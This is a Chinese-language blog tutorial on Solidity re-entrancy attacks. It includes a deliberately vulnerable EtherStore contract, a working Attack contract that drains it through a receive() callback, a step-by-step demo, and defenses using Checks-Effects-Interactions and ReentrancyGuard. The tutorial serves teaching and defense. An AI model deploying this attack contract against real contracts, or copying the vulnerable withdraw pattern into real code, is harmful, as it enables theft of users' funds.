Solidity 智能合约安全漏洞——普通重入攻击

普通重入攻击

重入攻击(Re-Entrancy) 一直是以太坊智能合约中最危险的漏洞之一,导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击,造成价值当时 6000 万美元的以太币被盗,直接导致以太坊主网硬分叉。

那么,什么是 Re-Entrancy 漏洞?它为何如此危险,如何防范,让我们一一深入解析。

Re-Entrancy 漏洞原理

Re-Entrancy 漏洞本质上是一个状态同步问题。当智能合约调用外部函数时,执行流会转移到被调用的合约。如果调用合约未能正确同步状态,就可能在转移执行流时被再次调用,从而重复执行相同的代码逻辑。

具体来说,攻击往往分两步:

1.被攻击的合约调用了攻击合约的外部函数,并转移了执行流。

2.在攻击合约函数中,利用某些技巧再次调用被攻击合约的漏洞函数。

由于 EVM 是单线程的,重新进入漏洞函数时,合约状态并未被正确更新,就像第一次调用一样。这样攻击者就能够多次重复执行一些代码逻辑,从而实现非预期的行为。典型的攻击模式是多次重复提取资金。
在这里插入图片描述

Re-Entrancy漏洞合约

以一个修改过的 WETH 合约为例:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // 用于检查此合约的余额
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●deposit 函数中,用户可以存入 ETH,得到的 WETH 记录在 balances 状态变量中。

●withdraw 函数中,用户可以提取 ETH,通过 call 低级调用转账给用户,此时执行流转移到用户合约。如果用户合约是一个恶意合约,它可以在默认的 receive 函数中再次回调 withdraw。由于余额未被更新,require 语句会通过检查,攻击合约就能多次重复提取 ETH。

攻击者可以部署一个恶意合约 Attack:

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // receive is called when EtherStore sends Ether to this contract.
    receive() external payable {
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        etherStore.deposit{value: AMOUNT}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

●attack 函数中攻击者先转入一定数量的 ETH,调用 etherStore.deposit 函数转移到目标合约 EtherStore 中,接下来调用 etherStore.withdraw 函数提取 ETH。这看似是一个常规的操作,但问题出现在下一个函数。

●receive 是合约接收 ETH 时默认执行的函数,它由 payable 关键字修饰,表明它可以接收发送来的 ETH(也可以使用 fallback 函数来实现同样的效果)。在函数内部,当目标合约中的余额满足条件(大于 1 ETH)时,会再次调用 withdraw 函数,即发起重入,由于目标合约中用户的余额是在最后一步才进行更新,因此 require(bal > 0); 条件依旧满足,也就可以继续把目标合约中的 ETH 转移走😨😨😨

Re-Entrancy 攻击演示

1.账户 0x5B3…dC4 部署 EtherStore 合约,合约地址为 0xd91…138

请添加图片描述

2.账户 Alice(0xAb8…cb2) 和账户 Bob(0x4B2…2db) 分别往目标合约中存入 1 ETH,此时合约锁定总资产为 2 ETH。

请添加图片描述

请添加图片描述

3.攻击者Eve(0x787…baB)部署 Attack 合约,在构造函数中填入目标合约的地址执行部署,生成的合约地址为 0x99C…96d。

请添加图片描述

4.攻击者Eve(0x787…baB) 支付 1 ETH 调用 attack 函数发起重入攻击,此时目标合约 EtherStore 中的资金会被全部转移到 Attack 合约中。

请添加图片描述

请添加图片描述

Attack 合约中余额为 3 ETH,而 EtherStore 合约中余额为 0,虽然 账户 Alice(0xAb8…cb2) 的余额显示为 1 ETH,但实际的资产已经被转移走了,只是一张空头支票而已。

防御措施

最直接有效的防御手段,就是遵循 Check-Effects-Interactions(CEI) 模式:

●首先——进行所有检查。

●然后——进行更改,例如更新余额。

●最后——调用另一个合约。

CEI 模式下无论执行流如何转移,余额都已被正确扣除,重入攻击将无法重复执行逻辑,因此推荐基于该方案构建合约逻辑:首先进行所有检查,然后更新余额并进行更改,然后才调用另一个合约。

function withdraw() public {
		// 1.check
    uint256 bal = balances[msg.sender];
    require(bal > 0);

		// 2.effects
    balances[msg.sender] = 0;

		// 3.interactions
    (bool sent,) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");
}

另一种防御是使用 ReentrancyGuard,OpenZeppelin 提供了 Guards 代码:

contract ReentrancyGuard {
    bool internal locked;

    modifier nonReentrant() {
        require(!locked, "No reentrancy");
        locked = true;
        _;
        locked = false;
    }
}

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
    
    function withdraw() public nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }
    
    // ...
}

它的作用就是在函数执行前先加一把锁,函数结束后释放锁,在发生重入时由于重新进入了该函数,此时锁还未释放,因此重入失败。

需要注意的是,ReentrancyGuard 在防范跨函数跨合约重入等复杂情况下有一定局限性,另外由于引入了额外的逻辑,gas 费也会有所增加,所以 Check-Effects-Interactions 依然是根本。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值